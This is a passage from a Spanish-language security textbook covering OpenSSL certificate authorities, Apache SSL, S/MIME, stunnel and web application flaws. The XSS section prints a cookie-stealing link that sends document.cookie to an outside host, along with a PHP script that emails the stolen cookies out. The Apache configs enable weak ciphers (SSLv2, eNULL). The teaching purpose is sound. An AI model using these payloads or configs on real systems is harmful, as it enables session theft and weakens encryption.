Configurar un servidor web localmente para que tengan conexiones seguras mediante OpenSSL
Se requiere para este ejemplo que el servidor local haga las funciones de entidad certificadora o CA
Probar que localmente se puede ser entidad CA y servidor web con datos diferentes entre CA y
servidor web
Probar el canal en claro con un sniffer para demostrar que los datos viajan cifrados
Prerrequisitos:
En el caso de que exista apache preinstalado se debe bajar el servicio con el comando apachectl
stop.
451
Ahora genere las llaves privada y pblica de la Entidad Certificadora (CA) para 10 anios en un solo paso:
# openssl req newkey rsa:2048 x509 keyout cakey.pem out cacert.pem days 3650 outform PEM
El sistema le pedir una clave simetrica para generar el certificado en mencin, por ejemplo use para este
caso sistemas.
La idea es que nadie ms pueda abrir la llave privada de la CA, solo la CA o el dueno de la llave privada
debera abrirlo con esa clave simetrica.
En el campo pas digite CO para Colombia, es decir las dos letras que identifican a su pas.
Estado o provincia: Cundinamarca es decir el departamento o estado donde reside su servidor.
Ciudad: Bogota
Organization Name: ACIS CA
Oraganizational Unit Name: Sistemas
Common Name Server: localhost
452
En este campo debe ir la direccion o URL de la entidad certificadora o CA que para este caso es el mismo
servidor local o localhost con direccin 127.0.0.1. Esto se puede verificar examinando el archivo/fichero
/etc/localhost.
Email address: administrador@acis.org.co
Paso seguido se debe generar un directorio para firmar requerimientos de llaves pblicas pues para este
caso el servidor localhost es una entidad Certificadora o CA:
# mkdir p /usr/local/ssl/demoCA/private
# mkdir p /usr/local/ssl/demoCA/newcerts
Copie la llave privada cakey.pem al directorio de llaves privadas:
# cp cakey.pem /usr/local/ssl/demoCA/private
Copie la llave pblica cacert.pem al directorio de llaves pblicas:
# cp cacert.pem /usr/local/ss/demoCA
Genere el archivo index.txt que contendr una lista de los certificados pblicos generados:
# touch
/usr/local/ssl/demoCA/index.txt
Genere el archivo de nombre serial que contendr el consecutivo de certificados pblicos generados, este
debe iniciar en uno:
# echo 01 > /usr/local/ssl/demoCA/serial
Hasta este momento usted estara listo para comportarse como una entidad certificadora, por favor verifique
que el archivo /usr/local/ssl/demoCA/serial contenga el consecutivo 01 o el que haya elegido para el
consecutivo de certificados en la base de datos.
# cat /usr/local/ssl/demoCA/serial
Hasta aca se esta preparado como una entidad certificadora.
Paso 3: Este paso indica los requerimientos de un servidor web hacia la CA, es nicamente para las
empresas que desean tener un certificado digital de tipo servidor.
Empresa que desea un certificado: MVA
Empresa caerttificadora: ACIS-CA
Entonces genere la llave privada de un tamanio de 2048 bits y genere el requerimiento a la entidad
certificadora o CA por 360 das para el servidor web:
Es recomendable estar posicionado en el directorio /usr/local/ssl
# cd /usr/local/ssl
# openssl req newkey rsa:2048 keyout mva.key out mva.csr days 360 nodes outform PEM
Ahore envie el requerimiento a la CA para que lo firme con la llave privada de la CA y le genere su certificado
digital.
Notas:
453
La opcin nodes indica no pedir una clave simtrica al generar la llave privada, sin esta clave
simetrica el servidor web podr subir sin necesidad de suministar el password o palabra clave
En la vida real el administrador del servidor web si deberia usar esta palabra clave, solo que
siempre deber estar presente para suministrarla cuando el servidor web esta subiendo
Paso 4: Firme el requerimiento como una entidad CA (quien genera el certificado digital)
# openssl ca policy policy_anything out mva.crt infiles mva.csr
Observar que mva.crt es la llave pblica del cliente que compra el certificado y mva.csr es la solicitud del
cliente MVA para que la CA le expida una llave pblica avalada por el notario CA (la certificadora)
En este paso, en Linux Fedora, habr un mensaje de error al no haber editado la variable dir del archivo
/etc/pki/tls/openssl.cnf
Paso 5: Instale los certificados en el directorio por defecto para que apache los lea al iniciar en modo seguro
# cp
# cp
# cp
mva.crt
mva.key
cacert.pem
/usr/local/apache2/conf/server.crt
/usr/local/apache2/conf/server.key
/usr/local/apache2/conf/cacert.pem
454
NameVirtualHost 192.168.100.14:443
<VirtualHost 192.168.100.14:443>
DocumentRoot /usr/local/apache2/htdocs/uniandes
ServerName www.uniandes.edu.co:443
ServerName www.lacositarica.com.co:443
<Directory /usr/local/apache2/htdocs/uniandes/manuales>
AuthName "Manuales de linux uniandes"
AuthType Basic
AuthzLDAPAuthoritative off
AuthBasicProvider ldap
AuthLDAPUrl "ldap://localhost:389/o=acis?uid?sub?(objectClass=*)"
Require valid-user
</Directory>
# Estas lineas son obligatorias para activar el SSL para el dominio virtual
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
<FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory "/usr/local/apache2/cgi-bin">
SSLOptions +StdEnvVars
</Directory>
BrowserMatch ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
CustomLog "/usr/local/apache2/logs/ssl_request_log" \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
# FIN - Estas lineas son obligatorias para activar el SSL para el dominio virtual
</VirtualHost>
<VirtualHost 192.168.100.14:443>
DocumentRoot /usr/local/apache2/htdocs/unincca
ServerName www.unincca.edu.co:443
<Directory /usr/local/apache2/htdocs/unincca/manuales>
AuthName "Manuales de linux *** unincca ***"
AuthType Basic
AuthUserFile /usr/local/apache2/conf/.htpasswd
Require user unincca
</Directory>
# Estas lineas son obligatorias para activar el SSL para el dominio virtual
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
<FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
455
</FilesMatch>
<Directory "/usr/local/apache2/cgi-bin">
SSLOptions +StdEnvVars
</Directory>
BrowserMatch ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
CustomLog "/usr/local/apache2/logs/ssl_request_log" \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
# FIN - Estas lineas son obligatorias para activar el SSL para el dominio virtual
</VirtualHost>
<VirtualHost 192.168.100.14:443>
DocumentRoot /usr/local/apache2/htdocs/fuac
ServerName fuac.edu.co:443
ServerName www.fuac.edu.co:443
<Directory /usr/local/apache2/htdocs/fuac/manuales>
AuthName "Manuales de linux *** fuac ***"
AuthType Basic
AuthUserFile /usr/local/apache2/conf/.htpasswd
Require user fuac
</Directory>
# Estas lineas son obligatorias para activar el SSL para el dominio virtual
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
<FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory "/usr/local/apache2/cgi-bin">
SSLOptions +StdEnvVars
</Directory>
BrowserMatch ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
CustomLog "/usr/local/apache2/logs/ssl_request_log" \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
# FIN - Estas lineas son obligatorias para activar el SSL para el dominio virtual
</VirtualHost>
Cuestionamientos
Que pasara si en el URL del cliente digitamos 127.0.0.1 en vez de localhost cuando usamos
dominios virtuales?
456
Objetivo:
Utilizar S/MIME con OpenSSL para enviar documentos en forma segura. Para ello se debe generar
un par de claves RSA de 1024 bits que ser el par de claves del cliente de correo S/MIME (pblica y
privada)
La clave privada se debe guardar en el archivo correo-key.pem protegido con la passphrase
correo
La clave pblica o certificado digital se debe guardar en el archivo correo-cert.pem
El sistema pide un password para la clave privada del usuario que desea manejar correos electrnicos
seguros, y se le digita correo
Paso 2: Para generar un requerimiento de clave pblica del usuario que desea manejar correos seguros se
digita:
# openssl req -new -key correo-key.pem -out correo-csr.pem -config openssl.cnf -sha1 -outform PEM
Nota: Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.
El sistema pide los datos del certificado que identifica a la persona como: Pais, Estado/departamento,
Organizacion, Nombre de la persona (en el campo nombre del servidor) y la direccion de correo que para
este requerimiento es critico.
Para verificar el requerimiento se digita:
#openssl req -in correo-csr.pem -verify -text -noout
457
El parametro nsCertType=client, email indica que el certificado sera usado por un cliente de correo
y no por un servidor web
Nota: Existe la extensin usr_cert que muestra unos requerimientos muy parecidos pero estan desactivados
y no contienen la extensin adicional extendedKeyusage.
-in
Notas importantes:
Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.
458
verify OK
Paso 6: Escriba un texto en claro, que contenga la cadena Esta es una prueba de Open SSL en correo
seguro y su nombre, gurdelo en el archivo mensaje.txt.
459
Paso 9. Suponiendo que el originador borra el texto original (en claro) del mensaje y slo conserva el
mensaje S/MIME, cmo se utilizara la herramienta OpenSSL para ver su contenido en claro?
# openssl smime -decrypt -in mensaje.msg -inkey /usr/local/ssl/correo-key.pem -recip /usr/local/ssl/correocert.pem
Que produce la siguiente salida:
Enter pass phrase for /usr/local/ssl/correo-key.pem:
Debera digitar la clave clave simetrica correo que se definio cuando creo la clave privada del usuario
Paso 10: Cmo puede usarse la herramienta OpenSSL para verificar la firma del mensaje anterior?
Proceso de descifrado
# openssl smime -decrypt -in mensaje.msg -out mensaje.firmado -inkey /usr/local/ssl/correo-key.pem recip /usr/local/ssl/correo-cert.pem
Y obtengo el archivo mensaje.firmado al cual se le debe aplicar el proceso de verificacin de firma
Proceso de verificacin de firma
# openssl smime -verify -signer /usr/local/ssl/correo-cert.pem -in mensaje.firmado -CAfile cacert.pem
460
Cuestionamientos
Cmo posibilita la tcnica del sobre digital PKCS#7 que el contenido de un mismo mensaje S/MIME
cifrado, como el que se ha generado en este laboratorio pueda ser descifrado tanto por el originador
como por los destinatarios?
Respuesta:
El proceso que el receptor debe seguir para descifrar un sobre digital PKCS#7 es:
a) Descifrar la clave de sesion que va dirigida al sobre digital y abrirlo
b) Descifrar el contenido del mensaje con la clave de sesin obtenida en el paso anterior
Entonces el hecho de que el sobre permita cifrar un mensaje para varios destinatarios e inclusive el
originador obliga a que se utilicen los certificados de cada uno de los destinatarios, por lo tanto cada
destinatario con su clave privada podr ver la informacin cifrada que se le envi con su llave pblica
respectiva.
Esta informacin de los certificados va en el campo recipientinfo de la estructura de datos del PKCS#7
461
15. Laboratorio: Certificados digitales del lado del cliente con OpenSSL mxima seguridad
Prerrequisitos:
Asegurese que el puerto 443 no este siendo utilizado por el laboratorio de tneles
Validez: 60 das
Algoritmo de hash: SHA1
Extensiones: basicConstraints = critical, CA:FALSE
extendedKeyUsage: Autenticacin de cliente web SSL/TLS
Objetivo:
Nota:
El servidor web debe tener un dominio virtual con soporte SSL para asegurar que el servidor es quien dice
ser, y del lado del cliente tambin se desea certificar que el cliente es quien dice ser, esto es muy til en
aplicaciones de Intranet y comercio electrnico seguro en ambas direcciones.
462
basicConstraints
nsCertType
keyUsage
extendedKeyUsage
=
=
=
=
critical,CA:FALSE
client
nonRepudiation, digitalSignature, keyEncipherment
clientAuth
Notas:
El parmetro nsCertType=client indica que el certificado ser usado por un cliente para autenticarse en un
servidor web
El parametro keyUsage = nonRepudiation,digitalSignature,keyEncipherment, indica que el certificado ser
utilizado para firmar y cifrar documentos.
El parametro extendedKeyUsage=clientAuth nos indica que el certificado se utilizara por un cliente para
suministrarlo a un servidor web seguro y autenticarse.
Para genererar el certificado de clave pblica se digita:
# openssl ca -verbose -policy policy_anything -out cliente-crt.pem -days 60 -config openssl.cnf -in clientecsr.pem -extensions proteccion_de_cliente -passin pass:sistemas
El parametro -passin pass:sistemas es obligatorio cuando el tamao de la clave sea muy pequeo.
Verificacin del certificado:
# openssl verify -verbose -CAfile cacert.pem cliente-crt.pem
Y el sistema openssl responde:
verify OK
Paso 2: Con la herramienta OpenSSL se debe generar un archivo de tipo PKCS#12 protegido con la
contrasea pkcs12 que contenga la clave privada y el certificado digital del del cliente.
# openssl pkcs12
-chain
-CAfile cacert.pem
-out
cliente-pkcs12.p12
-in
cliente-crt.pem
-inkey cliente-key.pem
-name "CarvajalRodriguezArmandoEnrique"
-export
-certfile cliente-crt.pem
-info
\
\
\
\
\
\
\
\
\
Se debe observar que esta instruccion esta compuesta por varias lineas, esa es la justificacion del caracter
especial \.
El sistema pregunta el nuevo password de tipo export y se le suministra pkcs12 diferente a la clave privada
del usuario que se desea autenticar cuya palabra secreta es: cliente.
Paso 3: Indique qu cambios se deben realizar a la configuracin del servidor web para aadirle un servidor
HTTPS virtual y que solamente permita el acceso a clientes que tengan un certificado emitido por nuestra
CA.
Se debe editar el archivo/fichero /usr/local/apache2/conf/extra/httpd-ssl.conf para incluir las siguientes
lneas de color amarillo que obligan al servidor web a solicitarle al cliente el suministro del certificado digital:
463
<VirtualHost . :443>
Namesever localhost
SSLVerifyClient require
SSLVerifyDepth 10
SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
</VirtualHost>
Luego se reincia con los comandos:
/usr/local/apache2/bin/apachectl stop
/usr/local/apache2/bin/apachectl start
Resumen:
Se debe crear una nueva seccin Virtualhost con los nuevos certificados y se deben activar las variables:
SSLVerifyClient require
SSLVerifyDepth 10
Para ello se debe quitar el signo comentario que se antepone a cada instruccin anterior.
Para que el explorador del cliente no falle en la generacion de confianza respecto del certificado digital de la
CA, es critico que el servidor web sepa cual es el certificado digital de la CA adems del certificado digital del
servidor web mas la llave privada del servidor web.
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
Paso 4: Pruebe si el servidor pide un certificado digital a los clientes que lo acceden
Los exploradores por defecto suministran en forma automtica los certificados al servidor, pero en este caso
aun no existe el certificado del usuario importado en el explorador.
En Internet Explorer:
464
Esta ventana nos indica que no existe el certificado y que debemos importarlo.
Mozila Firefox:
Como en el caso del Internet explorer, esta ventana nos indica que no existe el certificado y que debemos
importarlo. Para ver mejor lo que est pasando, conviene que en las opciones del navegador (Edit,
Preferences, Advanced, Certificates, se especifique que pida el certificado cada vez, en lugar de
escogerlo automticamente.
Paso 5: Indique los pasos a seguir para que el navegador utilice el certificado de cliente contenido en el
archivo PKCS#12 del lado del cliente para acceder al servidor HTTPS virtual.
En Internet Explorer:
Se debe configurar en el apartado del explorador Herramientas, Opciones de Internet, Contenido,
certificados, Importar, active el filtro: Archivos PKCS12, elija el archivo/fichero cliente-pkcs12.p12.
465
466
El certificado ser mostrado como de una entidad de NO confianza, por lo tanto se debe importar el
certificado digital de la CA como una entidad de confianza.
Mozila Firefox:
Se debe configurar en el apartado del explorador Mozilla Firefox, Editar, preferencias, Avanzadas,
Administrar certificados, Sus certificados, Importar, Archivos PKCS12, el archivo cliente-pkcs12.p12.
Esta ventana indica que el certificado digital como la clave privada se instalaron en el cache del explorador.
467
Aparece importado pero hay problemas con el propsito del certificado digital.
Luego en la opcin Autoridades se busca el certificado de la CA, se debe editar y marcar la opcin
Identificar sitios web e Identificar usuarios de correo.
Debe observarse que ahora el browser ya sabe para que se va a usar el certificado.
Al navegar por el sitio seguro:
468
El servidor puede verificar la identidad del cliente no solo basado en una cuenta de usuario y clave
de secreta
La comunicacin es segura punto a punto pues ambas partes estan cifradas y autenticadas
Desventajas:
No es tan fcil que el cliente genere su par de llaves y que adems las convierta al formato PKCS12
La llave privada estar en un PC fuera del control del usuario, es decir un intruso podra hacer
criptoanlisis sobre esas llaves
El tiempo de proceso en la transmisin de datos tiende a ser mas baja por que ambos extremos
cifran los datos
Cuestionamientos
Los datos entre el cliente y el servidor HTTP estn cifrados, puede demostrase con un sniffer?
469
Se debe tener creada una CA localmente, en un laboratorio anterior se creo una CA donde la clave
privada de la CA se llamaba cakey.pem, con passphrase sistemas y la clave pblica o certificado
digital de la CA se llamaba cacert.pem.
Tambien debera existir la llave privada correo-key.pem del ejercicio anterior
Asegurese que el puerto 443 no este siendo utilizado, para esto baje el servicio apache y edite el
archivo/fichero httpd.conf ahora inserte un signo comentario # a la instruccin INCLUDE.
Finalmente suba el servicio y verifique que el puerto este cerrado.
Objetivo:
Se debe crear un tnel entre dos mquinas de tal manera que un PC Windows con un explorador
web pueda interpretar el trfico cifrado
Entiendase que stunnel es una herramienta que permite convertir protocolos no protegidos en
protocolos seguros
Este laboratorio utilizara esta herramienta para ofrecer seguridad a una conexin TCP de tipo http
Ms informacin de stunnel se puede encontrar en http://www.stunnel.org
-sha1
-outform PEM
Nota: Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.
El sistema pide los datos del certificado que identifica al servidor que se desea asegurar como: Pais,
Estado/departamento, Organizacin y Nombre del servidor que para este requerimiento es critico.
Paso 2: Firmar el requerimiento utilizando la CA local y generar el certificado del servidor
Se edita el archivo de configuracin openssl.cnf
[ stunnel ]
basicConstraints=critical,CA:FALSE
extendedKeyusage=serverAuth
El parmetro extendedKeyUsage=serverAuth indica que el certificado ser usado para autenticacin de un
servidor
# openssl ca -verbose -policy policy_anything -out stunnel-cert.pem -days 180 -config openssl.cnf
stunnel-csr.pem -extensions stunnel -passin pass:sistemas
-in
Nota: Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.
El parmetro -passin pass:sistemas es obligatorio cuando el tamao es muy pequeo en la clave de la llave
de la CA
Paso 3: Configurar Stunnel de tal forma que permita acceder al servidor Apache de la mquina local
utilizando un canal seguro, por ejemplo a travs del puerto 443 donde se cifrara la informacion.
Tecnicamente se desea redireccionar el trafico del puerto 80 al 443 pero primero se cifra el canal.
470
=
=
=
=
=
=
=
=
=
no
7
/var/lib/stunnel/
stunnel
nogroup
/var/run/stunnel.pid
/usr/local/ssl/cacert.pem
/usr/local/ssl/stunnel-cert.pem
/usr/local/ssl/correo-key.pem
[https]
accept = 443
connect = 80
TIMEOUTclose
=0
= /var/lib/stunnel/
= stunnel
= nogroup
/etc/stunnel/stunnel.conf
Notas:
Cuestionamientos
Los datos entre el cliente y el servidor HTTP estn cifrados, puede demostrase con un sniffer?
Se podra asegurar cualquier servicio que transfiera datos en claro con stunnel?
Podria un servidor telnet que no usa SSH emular ssh para sesiones ssh desde un cliente
Windows SSH?
471
Se debe tener instalado el Suse Linux Enterprise Server 10 con los siguientes componentes:
Ademas se deben configurar los dominios virtuales de apache pues en un mismo servidor existirn
los tres servicios: CA, RAserver y public
Desacrgue de www.openca.org todos los modulos de openca con sus servicios adicionales como
openca-ocspd
cd /tmp
tar xvmf openca-tool*
cd openca-tool*
./configure
make
make install
cd /tmp
tar xvmf openca-0.9*
cd openca-0.9*
./configure
make
make install-offline
make install-online
472
Paso 8: Propagar los cambios desde las plantillas de tipo xml para la RA
# . /usr/local/openca/etc/configure_etc.sh
Para subir el servicio digite:
# . /usr/local/openca/etc/openca_rc start
Para bajar el servicio digite:
# . /usr/local/openca/etc/openca_rc stop
No olvide subir los servicios apache, dns, ldap y posgresql
Paso 10: Instale mas servicios de openca como openca-ocspd para informar en lnea el estado del
certificado
#
#
#
#
#
#
cd /tmp
tar xvmf openca-ocspd*
cd openca-ocspd*
./configure
make
make install
cd /tmp
tar xvmf libpki*
cd libpki*
./configure
make
make install
cd /tmp
tar xvmf libprq*
cd libprq*
./configure
make
make install
473
Bibliografa
[1]. PKI Infraestructura de claves pblicas, Andrew Nash, Osborne McGraw-Hill, Enero 2002, ISBN: 958-410283-4
[2]. Windows Server(TM) 2003 PKI and Certificate Security, Brian Komar, Microsoft, Julio 2004.
[3]. Network Security with OpenSSL, John viega, Matt messier y Pravir Chandra, Jun 15, 2002.
[4]. Secure TCP/IP Programming with SSL, Developer Guide, Edward zaremba, Marzo 8, 2007.
RFCs y estndares:
PKIX Charter del IETF - http://www.ietf.org/html.charters/pkix-charter.html
PKCSs - http://www.rsasecurity.com/rsalabs/pkcs
Proveedores tecnolgicos - Software PKI:
OpenCA - http://www.openca.org
RSA - http://www.rsa.com
Nexus - http://www.nexus-secured.com
IDX-PKI - http://idx-pki.idealx.org/faq.en.html
SafeLayer - http://www.safelayer.com
Rainbow - http://www.rainbow.com
Aladdin - http://www.ealaddin.com
Setec - http://www.setec.fi
nCipher - http://www.ncipher.com
474
PARTE IV
DESARROLLO DE APLICACIONES
SEGURAS
475
Captulo 19
Seguridad en aplicaciones
Objetivos:
Conocer las fallas ms conocidas como SQL Injection, XSS y metacaracteres en formularios
Implementar en PHP un XSS que robe los cookies de los usuarios en los exploradores web
Usar las herramientas mas conocidas para buscar las fallas en las aplicaciones web
Blindar una aplicacion en PHP sobre Open Ldap hasta llegar a cero errores
1.0
Introduccin
Hoy encontramos una clasificacin sistemtica de la seguridad de las aplicaciones mucho ms compleja por
la evolucin del web, algunas fuentes interesantes son:
Taxonoma Fortify [2] que la clasifica en las siguientes categoras:
Entonces este capitulo busca profundizar en las fallas ms comunes de las aplicaciones iniciando por la falta
de validacin de campos de entrada, inyeccin SQL, ejecucin de cdigo malicioso en el cliente mediante
Cross-Site Scripting, ejecucin remota de comandos y secuestro de sesiones o sesion Hijacking.
476
2.0
Antecedentes
El 92% de las vulnerabilidades estn en el software segn NIST. En los ltimos diez aos se ha encontrado
que hay un crecimiento anual del 43% de vulnerabilidades en las aplicaciones ms importantes segn
CERT.
Se dice segn Lee Babin en Beginning Ajax with PHP [3] que la superficie de ataque en las aplicaciones se
forma por todos los puntos de entrada a la aplicacin. Es decir cada punto de entrada a una aplicacin podra
permitir que una amenaza se aproveche de una vulnerabilidad y as se materialice un riesgo. Entendiendo
por amenaza un evento que se aprovecha de una falla o vulnerabilidad y por riesgo la posibilidad de perdida.
Es por esto que hay un alto crecimiento de estndares y normas como la ISO-27002:2005 donde se le
dedica a la seguridad de las aplicaciones todo un dominio, ahora la aparicin de estndares implementados
en frameworks como el OWASP generan madurez alrededor de la seguridad de las aplicaciones.
Es interesante leer OWASP (www.owasp.org), OWASP es un proyecto abierto de seguridad en aplicaciones
Web compuesto por una comunidad abierta y libre a nivel mundial enfocada en mejorar la seguridad de las
aplicaciones de software.
3.0
Fallas ms conocidas
3.1
Este es el error ms frecuente en la programacin de las aplicaciones, el no validar los caracteres especiales
o meta caracteres cuando el usuario esta capturando datos en un formulario [4].
Los meta caracteres o caracteres especiales son: ! # $ % & / ( ) | \ { } = ; : . , < > - _ ^ ? ` ~
* [ ].
Estos tienen un significado diferente dentro de las aplicaciones, por ejemplo el apostrofe invertido
`comando` alrededor de la palabra comando, har que internamente se ejecute el comando en mencin.
Esto obviamente no es lo deseado por el programador y esto se convierte en una vulnerabilidad o falla que
puede ser aprovechada por un usuario mal intencionado.
Se deben validar los tipos de los datos para evitar por ejemplo que en un campo de imgenes se le enve un
archivo que no sea una imagen.
Se debe validar que no se acepten dentro del programa el envo de archivos mayores al mximo permitido,
esto podra causar una lentitud del sistema o una cada del sistema.
No se deben aceptar datos de mayor longitud que el mximo permitido al definir el campo en las bases de
datos o formularios.
Se deben evitar buffers overflows no permitiendo que una entrada mayor a la capacidad de un campo sea
escrito en la memoria de otro campo. Es decir no se debe sobrescribir la informacin de otro campo.
3.2
Inyeccin SQL
La informacin almacenada en las bases de datos es parte de la informacin que podra ser valiosa como
activo de informacin de la empresa. Un acceso no autorizado a la informacin impacta los activos de la
organizacin.
Generalmente los usuarios deben participar en la construccin de la instruccin SQL que se desea usar para
consultar, crear, modificar o borrar datos. Cuando en un formulario el usuario rellena la informacin que
filtra los datos, el usuario podra incluir caracteres con un fin mal intencionado. Es ac, en esta inocente
captura de datos que ocurre la inyeccin SQL.
Por ejemplo la siguiente consulta espera un parmetro del usuario:
Select * from gn_paise where cod_paises =
Se debe observar el apostrofe al final esperando ser cerrado cuando llegue la informacin.
477
3.3
Cross-Site Scripting
La palabra cross-site nos indica que en el ataque intervienen por lo menos dos servidores y lo que busca
este ataque especializado es ejecutar un script de comandos con fines malvados (maliciosos) en el browser
del cliente residente en el PC de la vctima.
Esto se logra por ejemplo engaando al usuario mediante un correo que parece ser interesante para la
vctima, el atacante enva un correo con un URL malicioso invitando al usuario a seguirlo, cuando el usuario
hace click sobre el URL, lo lleva a un servidor web que contiene los scripts que harn el ataque.
Este es un ejemplo de un URL sospechoso embebido en un correo electrnico inocente:
<a href = http://www.lacositarica.com.co/guao.php?subject=Linda>!!Haga click y hgase rico!!</a>
Y dentro del servidor un comando PHP para recibir el subject seria $_GET[subject], esto le da el poder al
atacante de saber que el usuario cay en la trampa.
Que nos da razones muy validas para crear la siguiente poltica de seguridad, Los programas clientes no
deben descargar automticamente imgenes u objetos de sitios no confiables
Este es un ejemplo de un URL malicioso con comandos javascript embebido en una pgina web que se roba
los cookies del usuario:
<a href = # onmouseover = window.location= http://www.lacositarica.com.co/guao.php?cookie= +
document.cookie.escape();>!!Mueve el mouse, que rico!!</a>
Y dentro del servidor un comando PHP para recibir el cookie seria $_GET[cookie], ahora el atacante tendr
toda la informacin confidencial como claves que usa en sus portales financieros.
Si deseamos enviar la informacin confidencial robada por medio del correo electrnico este sera un buen
ejemplo desde el punto de vista del servidor:
<?php
$cookie = $_GET[cookie];
$url= $_SERVER[HTTP_REFERER];
mail(acarvajalr@gmail.com,Otro que cae,$url - $cookie);
header(Location: .$url);
?>
Para prevenir estos ataques se recomienda tener en cuenta en el momento del diseo:
Revisar los puntos de entrada a los programas desde sus interfaces de usuarios mediante un mapa flujo de
datos entre los programas y las interfaces de usuarios.
478
No utilizar el mtodo GET para enviar datos desde las formas a los programas, en cambio debe usarse POST
para el envo de datos desde las formas de datos de usuarios hacia cualquier programa del sistema. Es decir
se debe maximizar la recepcin de datos de los programas por el mtodo POST de las formas de datos.
SSL es un mtodo de transporte de datos seguros, y solo podra evitar el ataque localmente, esta tecnologa
no previene los ataques XSS. (http://cgisecurity.com/articles/xss-faq.html#ssl)
Codifique el cdigo HTML como no HTML si es una entrada de datos. En PHP HTMLEntities().
Se deben desactivar (sanitize) los URL en las entradas de los usuarios. En PHP parse_url().
Evale dentro de su programa que el URL de la forma sea igual al URL del servidor de aplicaciones.
Trate de predecir y validar que el usuario responda con datos del tipo de dato que se est capturando.
Pruebe sus scripts con el software open source http://chxo.com/scripts/safe_html-test.php
3.4
3.4.1
curl
La herramienta curl permite simular un explorador web para probar en forma automatizada la falla por olvido
de la autenticacin y autorizacin de usuarios en los diferentes URL de un portal web [5]:
Este Shell Linux/Unix automatiza el uso de curl:
#!/bin/sh
# Explorador web que usaremos -> User Agent
UA="Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
# Nombre de los cookies que crea el servidor en el cliente
JAR="cookies.txt"
# Se borran los cookies anteriores si existen
[ -f ${JAR} ] && rm -f "${JAR}"
# Archivos/ficheros donde residen las paginas web consultadas
RES="resultado.html"
# URL a consultar
URL="http://www.runt.com.co:7777/runt/ciudadanos/consultas/consulta_ciudadano_por_documento_final_p
ublic.jsf"
# Numero de documento, ej: 11.222.333 Armando Carvajal
DOC="11222333"
# Tipo de documento
TIP="C"
curl -o "${RES}" -s -L -A "${UA}" -e ";auto" -b "${JAR}" -c "${JAR}" "${URL}"
curl -o "${RES}" -s -L -A "${UA}" -e ";auto" -b "${JAR}" -c "${JAR}" \
-d "ConsultaCiudadanoPorDocumentoForm:personaTipoidentIdtipdocSearch=${TIP}" \
-d "ConsultaCiudadanoPorDocumentoForm:personaNrodocumeSearch=${DOC}"
\
-d "ConsultaCiudadanoPorDocumentoForm:btnconsultarCiudadano=Search"
\
-d "ConsultaCiudadanoPorDocumentoForm=ConsultaCiudadanoPorDocumentoForm" \
-d "autoScroll=" \
-d "ConsultaCiudadanoPorDocumentoForm:_link_hidden_=" \
-d "ConsultaCiudadanoPorDocumentoForm:j_idcl=" \
-d "javax.faces.ViewState=j_id1" \
-d "detalleLicenciTransitoOpenedState=" \
-d "detalleLicencia:btnCancelar=Accept" \
-d "detalleLicencia=detalleLicencia" \
-d "detalleLicencia:_link_hidden_=" \
479
-d "detalleCertificadoConduccionOpenedState=" \
-d "formDetalleCertificadoConduccion:btnAceptarDetalleCertificadoConduccion=Accept" \
-d "formDetalleCertificadoConduccion=formDetalleCertificadoConduccion" \
-d "formDetalleCertificadoConduccion:j_idcl=" \
-d "formDetalleCertificadoConduccion:_link_hidden_=" \
"${URL}"
Explicacin de parmetros de la herramienta curl:
-o indica el archivo donde guardare las paginas web descargadas
-L indica que si hay certificados digitales de autenticacin web los use
-e indica que si el servidores responde una redireccin debe seguirla
-b indica leer el archivo del cookies
-c indica escribir el archivo de cookies
-d indica una lista de parmetros, para saber cuales son los parmetros hay que descargar el formulario y
buscar las variables que debemos inicializar para enviar al servidor.
Nota: Curl no cifra o codifica los parmetros, para ello se debe crear un archivo con los parmetros
codificados por la herramienta openssl y ponerlos en un archivo, este archivo se le pasa a curl en el
parmetro d @elarchivodeparametros.txt
Es importante el smbolo @ delante del archivo/fichero de parmetros codificados.
